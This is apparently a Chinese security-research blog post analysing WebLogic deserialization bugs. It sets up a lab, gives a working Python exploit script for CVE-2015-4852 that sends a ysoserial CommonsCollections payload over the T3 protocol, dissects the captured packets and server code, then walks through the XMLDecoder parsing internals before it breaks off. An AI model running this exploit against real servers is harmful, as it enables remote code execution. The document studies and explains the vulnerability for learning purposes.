Weblogic WebLogic是Oracle公司开发的领先企业级Java应用服务器,全面支持Java EE规范,涵盖EJB、JPA、JMS、JNDI等核心组件。它提供了高可用性、安全性和可扩展性的特性,包括集群、负载均衡、故障转移、用户身份验证、SSL/TLS加密等,确保应用程序在高并发和大规模环境下的稳定运行。WebLogic还具备强大的管理和监控功能,如WebLogic Admin Console和WLST脚本工具,同时支持与Oracle数据库、Oracle Coherence等进行无缝集成,简化了开发、调试和部署过程,为企业级应用提供一个强大的平台。
环境搭建 参考了CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)
使用奇安信 A-team 的脚本
脚本链接:https://github.com/QAX-A-Team/WeblogicEnvironment
下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
由于CentOS Linux 8已于 2021年12月31日停止更新和维护,由于CentOS 团队从官方镜像中移除CentOS 8的所有包,所以在使用yum源安装或更新会报误。我们要修改Dockerfile文件修改一句代码
1 2 3 4 5 6 7 RUN yum -y install libnsl 修改成如下 RUN sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/CentOS-* && \ sed -i 's|^#baseurl=http://mirror.centos.org|baseurl=http://mirrors.aliyun.com|g' /etc/yum.repos.d/CentOS-* && \ yum -y install libnsl
修改之后运行就不会报错了,也可以用vulhub的环境。
获得wlserver_10.3压缩包(由于当时环境搭建失败,又换了一次vulhub搭建,所以我的wlserver_10.3是从vulhub中搭建的环境下载的)
然后把wlserver_10.3文件取到另一个机子上(我weblogic环境在kali上,那么要把该文件夹取到物理机windows上),把wlserver_10.3/server/lib文件夹添加到库里
在idea配置远程调试环境。
T3协议相关 CVE-2015-4852 用CVE-2015-4852来学习T3协议的反序列化漏洞。
先附上攻击脚本,CommonsCollections是weblogic的基础包,可以选择cc链反序列化攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import socketimport sysimport structimport reimport subprocessimport binasciiimport timedef get_payload1 (gadget, command ): JAR_FILE = './ysoserial.jar' popen = subprocess.Popen(['java' , '-jar' , JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2 (path ): with open (path, "rb" ) as f: return f.read() def exp (host, port, payload ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 10.3.1\nAS:255\nHL:19\nMS:10000000\n\n" .encode() sock.sendall(handshake) time.sleep(0.5 ) data = sock.recv(1024 ) pattern = re.compile (r"HELO:(.*).false" ) version = re.findall(pattern, data.decode()) if len (version) == 0 : print ("Not Weblogic" ) return print ("Weblogic {}" .format (version[0 ])) data_len = binascii.a2b_hex(b"00000000" ) t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" ) flag = binascii.a2b_hex(b"fe010000" ) payload = data_len + t3header + flag + payload payload = struct.pack('>I' , len (payload)) + payload[4 :] sock.send(payload) if __name__ == "__main__" : host = "192.168.147.131" port = 7001 gadget = "CommonsCollections1" command = "whoami" payload = get_payload1(gadget, command) exp(host, port, payload)
用wireshark抓取整个攻击过程的流量包
T3协议是weblogic用于通信的协议,类似于RMI的JRMP,JRMP协议是rmi默认使用的协议,而T3协议是weblogic独有的协议,weblogic对RMI规范的实现使用了T3协议(rmi默认使用 JRMP协议)。T3协议被优化用于高性能的应用场景,特别是在大量并发连接和高负载的环境下。它通过减少网络开销和提高数据传输效率来提升整体性能。
T3协议结构分为分为请求头和请求体。
请求头就是第一个红色数据包,然后服务器会返回一些信息,其中包括了weblogic的版本。
而攻击的主体部分请求体,其数据包大致分为如下结构。图片来自z_zz_zzz文章
可以看到wireshark的攻击数据流确实是这样。
漏洞影响版本 Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3
漏洞分析 从数据包的两次发送分别来看
第一次交互 1 2 3 4 5 6 7 8 9 10 发送数据 t3 10.3.1 AS:255 HL:19 MS:10000000 接收数据 HELO:10.3.6.0.false AS:2048 HL:19
SocketMuxer#readReadySocketOnce中会调用MuxableSocketDiscriminator#isMessageComplete方法,遍历handlers,根据请求头来判断用哪一种协议的处理器handler。一共支持五种协议IIOP、T3、LDAP、SNMP、HTTP,这里自然识别的是T3协议。因此把T3协议的处理器handler的索引赋值给claimedIndex。
然后进入MuxableSocketDiscriminator#dispatch,首先就是获取当前协议,然后用maybeFilter()方法过滤一下,然后根据当前的 claimedIndex,从 handlers 数组中获取对应的处理器,并调用 createSocket() 方法创建 MuxableSocket 对象。
然后判断消息是否发送完成,如果消息已经完整,则调用 dispatch() 方法进行分发。这是已经根据上面t3处理器得到处理t3协议MuxableSocket
一路跟到MuxableSocketT3#dispatch中,这段代码的核心逻辑是通过 bootstrapped 标志来区分处理引导消息和正常消息的过程。首次调用时会进行引导消息的处理,之后的调用则直接将消息传递给连接对象。那么我们的请求头是属于引导消息,进入if之后,会读取引导信息,然后设置bootstrapped属性为true,下一次发送的消息就是进入else继续dispatch分发处理。
第二次交互 1 2 3 4 5 6 7 8 9 10 发送数据 .....e............i...`....N..]...{_..Mz.x...M...mg.ysr.xr.xr.xp... .............pppppp... .............p.........sr.2sun.reflect.annotation.AnnotationInvocationHandlerU.....~....L..memberValuest..Ljava/util/Map;L..typet..Ljava/lang/Class;xps}..... java.util.Mapxr..java.lang.reflect.Proxy.'. ..C....L..ht.%Ljava/lang/reflect/InvocationHandler;xpsq.~..sr.*org.apache.commons.collections.map.LazyMapn....y.....L..factoryt.,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0...(z.....[. iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L. iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t. getRuntimeur..[Ljava.lang.Class;......Z....xp....t. getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t..whoamit..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F. loadFactorI. thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~.: 无接收消息
断点可以达到我们第一次交互结束的else语句里面,处理的网络数据块chunk和抓取的数据包一样。
进入MsgAbbrevJVMConnection#dispatch,里面会调用MsgAbbrevInputStream#init方法初始化输入流。我们反序列化漏洞就是初始化输入流产生的问题。
首先调用super.init(chunk, 4),最终前4字节被skip掉。然后调用readHeader方法读取头部信息
关于头部信息的含义,来自Weblogic安全漫谈(一)
cmd字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage类中的变量名看出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 >static final byte CMD_UNDEFINED = 0; >static final byte CMD_IDENTIFY_REQUEST = 1; >static final byte CMD_IDENTIFY_RESPONSE = 2; >static final byte CMD_REQUEST_CLOSE = 11; >static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12; >static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13; >static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9; >static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10; >static final byte CMD_PEER_GONE = 3; >static final byte CMD_ONE_WAY = 4; >static final byte CMD_REQUEST = 5; >static final byte CMD_RESPONSE = 6; >static final byte CMD_ERROR_RESPONSE = 7; >static final byte CMD_INTERNAL = 8;
没猜到QOS字节的含义,类初始化时被赋为十进制101,所以EXP同样用了这个值。
flags字节从后面getFlag方法可以看出用来从二进制位控制hasJVMIDs、hasTX、hasTrace(类比Linux的rwx权限与777)。
responseId字节用于标识通信顺序、invokeableId字节用于标识被调用的方法,目前用不到置为初始值-1。
abbrevOffset字节顾名思义是abbrev的偏移长度,表示Header结尾处 相距 后面字节流MsgAbbrevs部分的距离,在init方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。
第二次skip掉86个字节,加上前面4个,一共skip掉90个字节。
那么蓝色光标部分就被skip掉了,剩下的数据就是从fe010000开始,这正是weblogic反序列化数据标志,而后续aced0005又正是序列化数据的开头,接下来就是处理反序列化数据的内容了。
进入到MsgAbbrevJVMConnection#readMsgAbbrevs方法中,会调用InboundMsgAbbrev#read方法,
调用 var1.readLength() 方法,读取一个整数 var3,表示后续需要处理的对象数量,使用 for 循环,遍历每个对象。在每次循环中,调用 var1.readLength() 方法,读取一个整数 var5,表示当前对象的长度或缩略符索引。如果 var5 大于缩略符处理器的容量,则直接读取对象并获取其缩略符,然后将对象存入内部数据结构;否则,通过缩略符索引还原对象并存入内部数据结构。
要进入readObject分支,就需要var5 > var2.getCapacity()。var5固定等于256,var2.getCapacity()是第一次交互中发送的数据中AS的值,我们当时设置的是255,满足条件,可以进入readObject。
跟到ObjectInputStream#readOrdinaryObject中,先进入readCLassDesc方法。
一路跟进至 InboundMsgAbbrev#resolveClass(),这时var1使我们cc链的触发类。
跟进,这里会Class.forName加载这个类。
然后回到ObjectInputStream#readOrdinaryObject中,把加载的AnnotationInvocationHandler类初始化一个出来。然后调用readSerialData方法还原。
反射调用AnnotationInvocationHandler#readObject,当然肯定不是这个AnnotationInvocationHandler对象了,因为这个时候里面的属性还都是null,有兴趣可以自己调试一下,由于第二天有早八先不调了,后面有精力再补,后续就是cc链了。然后到命令执行。
修复 官方修复如下,通过黑名单限制的。
XMLDecoder相关 XMLEncoder 和 XMLDecoder XMLEncoder 和 XMLDecoder 是 Java 的两个类,用于将 Java 对象序列化为 XML 格式以及从 XML 格式反序列化为 Java 对象。这两个类属于 java.beans 包,提供了一种将对象的状态以 XML 格式保存和恢复的机制,方便进行数据交换和持久化处理。
XMLEncoder XMLEncoder 类用于将 Java 对象及其状态序列化为 XML 格式。以下是使用 XMLEncoder 的基本步骤:
创建 XMLEncoder 对象 :通常使用一个 OutputStream(如 FileOutputStream)来创建 XMLEncoder 对象。
写入对象 :通过调用 writeObject 方法将对象写入到 XML 编码流中。
关闭编码器 :完成写入后,调用 close 方法关闭编码器并释放资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.beans.XMLEncoder;import java.io.FileOutputStream;import java.io.IOException;public class XMLEncoderExample { public static void main (String[] args) { try (FileOutputStream fos = new FileOutputStream ("object.xml" ); XMLEncoder encoder = new XMLEncoder (fos)) { MyObject obj = new MyObject ("example" , 123 ); encoder.writeObject(obj); } catch (IOException e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class MyObject { private String name; private int value; public MyObject () { } public MyObject (String name, int value) { this .name = name; this .value = value; } public String getName () { System.out.println("getName方法被调用" ); return name; } public void setName (String name) { System.out.println("setName方法被调用" ); this .name = name; } public int getValue () { System.out.println("getValue方法被调用" ); return value; } public void setValue (int value) { System.out.println("setValue方法被调用" ); this .value = value; } }
运行得到如下xml文件
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <object class ="MyObject" > <void property ="name" > <string > example</string > </void > <void property ="value" > <int > 123</int > </void > </object > </java >
同时控制台输出如下
1 2 3 4 5 6 7 getName方法被调用 getName方法被调用 setName方法被调用 getValue方法被调用 getValue方法被调用 getValue方法被调用 setValue方法被调用
XMLDecoder XMLDecoder 类用于从 XML 格式反序列化回 Java 对象。以下是使用 XMLDecoder 的基本步骤:
创建 XMLDecoder 对象 :通常使用一个 InputStream(如 FileInputStream)来创建 XMLDecoder 对象。
读取对象 :通过调用 readObject 方法从 XML 编码流中读取对象。
关闭解码器 :完成读取后,调用 close 方法关闭解码器并释放资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.beans.XMLDecoder;import java.io.FileInputStream;import java.io.IOException;public class XMLDecoderExample { public static void main (String[] args) { try (FileInputStream fis = new FileInputStream ("object.xml" ); XMLDecoder decoder = new XMLDecoder (fis)) { MyObject obj = (MyObject) decoder.readObject(); System.out.println("Name: " + obj.getName()); System.out.println("Value: " + obj.getValue()); } catch (IOException e) { e.printStackTrace(); } } }
运行控制台输出如下
1 2 3 4 5 6 setName方法被调用 setValue方法被调用 getName方法被调用 Name: example getValue方法被调用 Value: 123
通过 XMLEncoder 和 XMLDecoder,可以方便地将 Java 对象的状态持久化为 XML 文件,并在需要时恢复这些对象。
XML 本身是一种非常灵活的标记语言,允许用户定义自己的标签和属性。因此,XML 没有预定义的 “所有” 属性标签。但是,在特定的 XML 架构或标准中,如 java.beans.XMLEncoder 和 java.beans.XMLDecoder 使用的 XML 格式,有一些特定的标签和属性是常用的。
常见的 XML 标签和属性 1. XML 声明 1 <?xml version="1.0" encoding="UTF-8" ?>
标签和属性:
version: 指定 XML 版本。
encoding: 指定编码方式。
2. 根元素 <java> 1 <java version ="1.8.0_241" class ="java.beans.XMLDecoder" >
标签和属性:
java: 根元素,包含整个 XML 文件结构。
version: 指定 Java 版本。
class: 指定用于解析的 Java 类。
3. 对象元素 <object> 1 2 3 <object class ="com.example.MyObject" > </object >
标签和属性:
object: 表示一个 Java 对象。
class: 指定对象的类名。
4. 属性设置 <void> 1 2 3 <void property ="name" > <string > example</string > </void >
标签和属性:
void: 用于调用方法(特别是 setter 方法)。
property: 指定要设置的属性名称。
5. 基本数据类型
<string>: 表示一个字符串值。
1 <string > example</string >
<int>: 表示一个整数值。
<boolean>: 表示一个布尔值。
<float>: 表示一个浮点值。
<double>: 表示一个双精度浮点值。
<long>: 表示一个长整数值。
<short>: 表示一个短整数值。
<char>: 表示一个字符值。
6. 数组和集合
<array>: 表示一个数组。
1 2 3 4 5 <array class ="int[]" > <int > 1</int > <int > 2</int > <int > 3</int > </array >
<list>: 表示一个列表。
1 2 3 4 <list > <string > item1</string > <string > item2</string > </list >
<map>: 表示一个映射(键值对)。
1 2 3 4 5 6 7 8 9 10 <map > <entry > <string > key1</string > <string > value1</string > </entry > <entry > <string > key2</string > <string > value2</string > </entry > </map >
7. 方法调用
8. Null 值
XMLDecoder解析流程分析(可不看) 参考了p1g3师傅的文章,但是文章在p牛的知识星球,并且没有找到公开文章链接。感兴趣可以加入p牛知识星球搜索Weblogic XMLDecoder。
用下面这段分析正常xml文件的解析流程
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <object class ="MyObject" > <void property ="name" > <string > example</string > </void > <void property ="value" > <int > 123</int > </void > </object > </java >
反序列化成对象的代码片段
1 2 3 4 5 6 7 8 9 10 11 public class XMLDecoderExample { public static void main (String[] args) { try (FileInputStream fis = new FileInputStream ("object.xml" ); XMLDecoder decoder = new XMLDecoder (fis)) { MyObject obj = (MyObject) decoder.readObject(); } catch (IOException e) { e.printStackTrace(); } } }
想获取xml文件输入流,然后作为参数初始化一个XMLDecoder对象,接着调用这个对象的readObject方法开始反序列化。其中调用parsingComplete()方法解析相关内容,如果返回结果为true,就会将array数组中的对象返回除了,也就是从xml文件中反序列化出来的对象,否则,返回null。
1 2 3 4 5 6 public Object readObject () { return (parsingComplete()) ? this .array[this .index++] : null ; }
进入parsingComplete()方法,有一些判断语句,我们看一下this(原代码中初始化的XMLDecoder)对象中的数据。
我们要反序列化的xml文件的文件输入流在this.input中。通过得到的数据,很容易判断,会一路来到AccessController.doPrivileged语句中。 然后使用 AccessController.doPrivileged 在特权模式下执行解析操作。这段代码创建一个匿名 PrivilegedAction 实现,并在其中调用 XMLDecoder.this.handler.parse(XMLDecoder.this.input),启动解析过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private boolean parsingComplete () { if (this .input == null ) { return false ; } if (this .array == null ) { if ((this .acc == null ) && (null != System.getSecurityManager())) { throw new SecurityException ("AccessControlContext is not set" ); } AccessController.doPrivileged(new PrivilegedAction <Void>() { public Void run () { XMLDecoder.this .handler.parse(XMLDecoder.this .input); return null ; } }, this .acc); this .array = this .handler.getObjects(); } return true ; }
来到DocumentHandler#parse方法中,可以看到,这里主要是使用了 SAXParserFactory 创建 SAXParser 实例(Simple API for XML 解析器),并使用 parse 方法解析传入的 input,而我们xml相关数据就在input中。我们跟进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public void parse (final InputSource input) { if ((this .acc == null ) && (null != System.getSecurityManager())) { throw new SecurityException ("AccessControlContext is not set" ); } AccessControlContext stack = AccessController.getContext(); SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction <Void>() { public Void run () { try { SAXParserFactory.newInstance().newSAXParser().parse(input, DocumentHandler.this ); } catch (ParserConfigurationException exception) { handleException(exception); } catch (SAXException wrapper) { Exception exception = wrapper.getException(); if (exception == null ) { exception = wrapper; } handleException(exception); } catch (IOException exception) { handleException(exception); } return null ; } }, stack, this .acc); }
来到SAXParserImpl#parse,首先,它检查输入源也就是我们前面提到的input。接下来,如果提供了处理器 DefaultHandler,则将其设置为 xmlReader 的内容处理器、实体解析器、错误处理器和 DTD 处理器,同时取消设置旧的文档处理器。
DefaultHandler里面封装了很多标签对应的Handler
最后,使用 xmlReader 解析输入源input。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void parse (InputSource is, DefaultHandler dh) throws SAXException, IOException { if (is == null ) { throw new IllegalArgumentException (); } if (dh != null ) { xmlReader.setContentHandler(dh); xmlReader.setEntityResolver(dh); xmlReader.setErrorHandler(dh); xmlReader.setDTDHandler(dh); xmlReader.setDocumentHandler(null ); } xmlReader.parse(is); }
进入xmlReader.parse(is),也就是重构的SAXParserImpl#parse。这里if的判断不通过,我们不会进入if语句。直接进入super.parse(inputSource)。
1 2 3 4 5 6 7 8 9 10 11 public void parse (InputSource inputSource) throws SAXException, IOException { if (fSAXParser != null && fSAXParser.fSchemaValidator != null ) { if (fSAXParser.fSchemaValidationManager != null ) { fSAXParser.fSchemaValidationManager.reset(); fSAXParser.fUnparsedEntityHandler.reset(); } resetSchemaValidator(); } super .parse(inputSource); }
来到AbstractSAXParser#parse,首先创建一个新的 XMLInputSource 对象,传入 InputSource 的公共标识符(Public ID)和系统标识符(System ID),第三个参数为 null,表示没有基础 URI。然后从 InputSource 获取字节流、字符流和编码信息,并设置到 XMLInputSource 对象中。这样可以确保所有必要的流和编码信息都被传递给 XMLInputSource。随后,接着调用重构的parse方法解析刚刚创建xmlInputSource。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public void parse (InputSource inputSource) throws SAXException, IOException { try { XMLInputSource xmlInputSource = new XMLInputSource (inputSource.getPublicId(), inputSource.getSystemId(), null ); xmlInputSource.setByteStream(inputSource.getByteStream()); xmlInputSource.setCharacterStream(inputSource.getCharacterStream()); xmlInputSource.setEncoding(inputSource.getEncoding()); parse(xmlInputSource); } ...... }
这里重构的parse方法,实现是在父类的父类中,即XMLParse#parse。这里初始化了一些安全相关的配置,并重置了解析器的状态。然后调用配置对象的解析方法XML11Configuration#parse,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public void parse (XMLInputSource inputSource) throws XNIException, IOException { if (securityManager == null ) { securityManager = new XMLSecurityManager (true ); fConfiguration.setProperty(Constants.SECURITY_MANAGER, securityManager); } if (securityPropertyManager == null ) { securityPropertyManager = new XMLSecurityPropertyManager (); fConfiguration.setProperty(Constants.XML_SECURITY_PROPERTY_MANAGER, securityPropertyManager); } reset(); fConfiguration.parse(inputSource); }
来到XML11Configuration#parse,调用 setInputSource(source) 方法设置输入源,并调用 parse(true) 方法进行实际的解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void parse (XMLInputSource source) throws XNIException, IOException { if (fParseInProgress) { throw new XNIException ("FWK005 parse may not be called while parsing." ); } fParseInProgress = true ; try { setInputSource(source); parse(true ); } ...... }
到重构的XML11Configuration#parse中,方法首先检查 fInputSource 是否为非空,如果是,则重置验证管理器和版本检测器,更新配置状态,并根据文档的版本初始化相关的解析组件。具体来说,如果是 XML 1.1 版本,则初始化 XML 1.1 组件并配置相关管道,否则配置默认管道。接着调用 fVersionDetector.startDocumentParsing 方法开始解析文档,并将 fInputSource 设为 null。在后续的 try 块中,调用 fCurrentScanner.scanDocument(complete) 方法进行实际的文档扫描,并返回扫描结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public boolean parse (boolean complete) throws XNIException, IOException { if (fInputSource != null ) { try { fValidationManager.reset(); fVersionDetector.reset(this ); fConfigUpdated = true ; resetCommon(); short version = fVersionDetector.determineDocVersion(fInputSource); if (version == Constants.XML_VERSION_1_1) { initXML11Components(); configureXML11Pipeline(); resetXML11(); } else { configurePipeline(); reset(); } fConfigUpdated = false ; fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version); fInputSource = null ; } ...... } try { return fCurrentScanner.scanDocument(complete); } ...... }
我们跟进fCurrentScanner.scanDocument(complete),也就是XMLDocumentFragmentScannerImpl#scanDocument这段代码通过一个事件驱动的机制来解析XML内容,并调用相应的回调方法来处理不同类型的XML事件。具体来说,这个方法通过一个事件循环来获取和处理XML事件,具体的解析工作在 next() 方法中完成,scanDocument 方法用于处理这些解析后的事件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 public boolean scanDocument (boolean complete) throws IOException, XNIException { fEntityManager.setEntityHandler(this ); int event = next(); do { switch (event) { case XMLStreamConstants.START_DOCUMENT : break ; case XMLStreamConstants.START_ELEMENT : break ; case XMLStreamConstants.CHARACTERS : fDocumentHandler.characters(getCharacterData(),null ); break ; case XMLStreamConstants.SPACE: break ; case XMLStreamConstants.ENTITY_REFERENCE : break ; case XMLStreamConstants.PROCESSING_INSTRUCTION : fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null ); break ; case XMLStreamConstants.COMMENT : fDocumentHandler.comment(getCharacterData(),null ); break ; case XMLStreamConstants.DTD : break ; case XMLStreamConstants.CDATA: fDocumentHandler.startCDATA(null ); fDocumentHandler.characters(getCharacterData(),null ); fDocumentHandler.endCDATA(null ); break ; case XMLStreamConstants.NOTATION_DECLARATION : break ; case XMLStreamConstants.ENTITY_DECLARATION : break ; case XMLStreamConstants.NAMESPACE : break ; case XMLStreamConstants.ATTRIBUTE : break ; case XMLStreamConstants.END_ELEMENT : break ; default : throw new InternalError ("processing event: " + event); } event = next(); } while (event!=XMLStreamConstants.END_DOCUMENT && complete); if (event == XMLStreamConstants.END_DOCUMENT) { fDocumentHandler.endDocument(null ); return false ; } return true ; }
跟进next()方法到XMLDocumentScannerImpl$XMLDeclDriver#next(),首先无论文档中是否有XML声明,下一个驱动器设置为fPrologDriver,因此下次进入fDriver.next()方法就在其他类中。即PrologDriver中的next方法。从当前内部类的类名可以大致理解,这是用来扫xml文档相关内容的,也就是xml文件第一句<?xml version="1.0" encoding="UTF-8"?>,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 public int next () throws IOException, XNIException { return fDriver.next(); } public int next () throws IOException, XNIException { if (DEBUG_NEXT){ System.out.println("NOW IN XMLDeclDriver" ); } setScannerState(SCANNER_STATE_PROLOG); setDriver(fPrologDriver); try { if (fEntityScanner.skipString(xmlDecl)) { fMarkupDepth++; if (XMLChar.isName(fEntityScanner.peekChar())) { fStringBuffer.clear(); fStringBuffer.append("xml" ); while (XMLChar.isName(fEntityScanner.peekChar())) { fStringBuffer.append((char )fEntityScanner.scanChar()); } String target = fSymbolTable.addSymbol(fStringBuffer.ch, fStringBuffer.offset, fStringBuffer.length); fContentBuffer.clear() ; scanPIData(target, fContentBuffer); fEntityManager.fCurrentEntity.mayReadChunks = true ; return XMLEvent.PROCESSING_INSTRUCTION ; } else { scanXMLDeclOrTextDecl(false ); fEntityManager.fCurrentEntity.mayReadChunks = true ; return XMLEvent.START_DOCUMENT; } } else { fEntityManager.fCurrentEntity.mayReadChunks = true ; return XMLEvent.START_DOCUMENT; } } catch (EOFException e) { reportFatalError("PrematureEOF" , null ); return -1 ; } }
然后回到scanDocument方法做后续处理,这里没有处理直接break跳出switch-catch语句然后调用下一个驱动器PrologDriver的next方法。
这段代码比较长,我们根据处于的状态拆出对应的case代码来看。xml头在上一步已经解析了,所以这里我们要解析的部分是
1 2 3 4 5 6 7 8 9 10 <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <object class ="MyObject" > <void property ="name" > <string > example</string > </void > <void property ="value" > <int > 123</int > </void > </object > </java >
这个解析过程是通过状态机完成的,每个状态代表解析过程中的一个特定阶段。我们来看代码是如何解析的。
首先,解析器在初始化时处于 SCANNER_STATE_PROLOG 状态。
1 2 3 4 5 6 7 8 9 10 11 case SCANNER_STATE_PROLOG: { fEntityScanner.skipSpaces(); if (fEntityScanner.skipChar('<' )) { setScannerState(SCANNER_STATE_START_OF_MARKUP); } else if (fEntityScanner.skipChar('&' )) { setScannerState(SCANNER_STATE_REFERENCE); } else { setScannerState(SCANNER_STATE_CONTENT); } break ; }
跳过空白字符后,遇到 <,切换到 SCANNER_STATE_START_OF_MARKUP 状态。
接下来,进入 SCANNER_STATE_START_OF_MARKUP 状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 case SCANNER_STATE_START_OF_MARKUP: { fMarkupDepth++; if (fEntityScanner.skipChar('?' )) { setScannerState(SCANNER_STATE_PI); } else if (fEntityScanner.skipChar('!' )) { if (fEntityScanner.skipChar('-' )) { if (!fEntityScanner.skipChar('-' )) { reportFatalError("InvalidCommentStart" , null ); } setScannerState(SCANNER_STATE_COMMENT); } else if (fEntityScanner.skipString(DOCTYPE)) { setScannerState(SCANNER_STATE_DOCTYPE); Entity entity = fEntityScanner.getCurrentEntity(); if (entity instanceof Entity.ScannedEntity){ fStartPos=((Entity.ScannedEntity)entity).position; } fReadingDTD=true ; if (fDTDDecl == null ) fDTDDecl = new XMLStringBuffer (); fDTDDecl.append("<!DOCTYPE" ); } else { reportFatalError("MarkupNotRecognizedInProlog" , null ); } } else if (XMLChar.isNameStart(fEntityScanner.peekChar())) { setScannerState(SCANNER_STATE_ROOT_ELEMENT); setDriver(fContentDriver); return fContentDriver.next(); } else { reportFatalError("MarkupNotRecognizedInProlog" , null ); } break ; }
fMarkupDepth 计数器(标签深度)增加。
检查是否遇到 ?,如果是,则切换到 SCANNER_STATE_PI 状态。
检查是否遇到 !,处理注释 (<!--) 或文档类型声明 (<!DOCTYPE)。
检查是否为有效的XML名称字符(例如 <object>),如果是,则切换到 SCANNER_STATE_ROOT_ELEMENT 状态,并将驱动器切换为 fContentDriver。此时调用 return fContentDriver.next();。
同样由于400行代码过长,只取需要的case块代码。
首先进入的SCANNER_STATE_ROOT_ELEMENT状态对应的处理逻辑。用scanRootElementHook() 方法扫描并处理 XML 文档的根元素。我们跟进去。然后调用了scanStartElement()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 case SCANNER_STATE_ROOT_ELEMENT: { if (scanRootElementHook()) { fEmptyElement = true ; return XMLEvent.START_ELEMENT; } setScannerState(SCANNER_STATE_CONTENT); return XMLEvent.START_ELEMENT ; } protected boolean scanRootElementHook () throws IOException, XNIException { if (scanStartElement()) { setScannerState(SCANNER_STATE_TRAILING_MISC); setDriver(fTrailingMiscDriver); return true ; } return false ; }
因为 <java> 不是空元素,调用 fDocumentHandler.startElement(fElementQName, fAttributes, null) 通知文档处理器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 protected boolean scanStartElement () throws IOException, XNIException { if (fSkip && !fAdd){ ...... } if (!fSkip || fAdd){ fElementQName = fElementStack.nextElement(); if (fNamespaces) { fEntityScanner.scanQName(fElementQName); } else { String name = fEntityScanner.scanName(); fElementQName.setValues(null , name, name, null ); } ...... } if (fAdd){......} fCurrentElement = fElementQName; String rawname = fElementQName.rawname; fEmptyElement = false ; fAttributes.removeAllAttributes(); checkDepth(rawname); if (!seekCloseOfStartTag()){ fReadingAttributes = true ; fAttributeCacheUsedCount =0 ; fStringBufferIndex =0 ; fAddDefaultAttr = true ; do { scanAttribute(fAttributes); if (fSecurityManager != null && 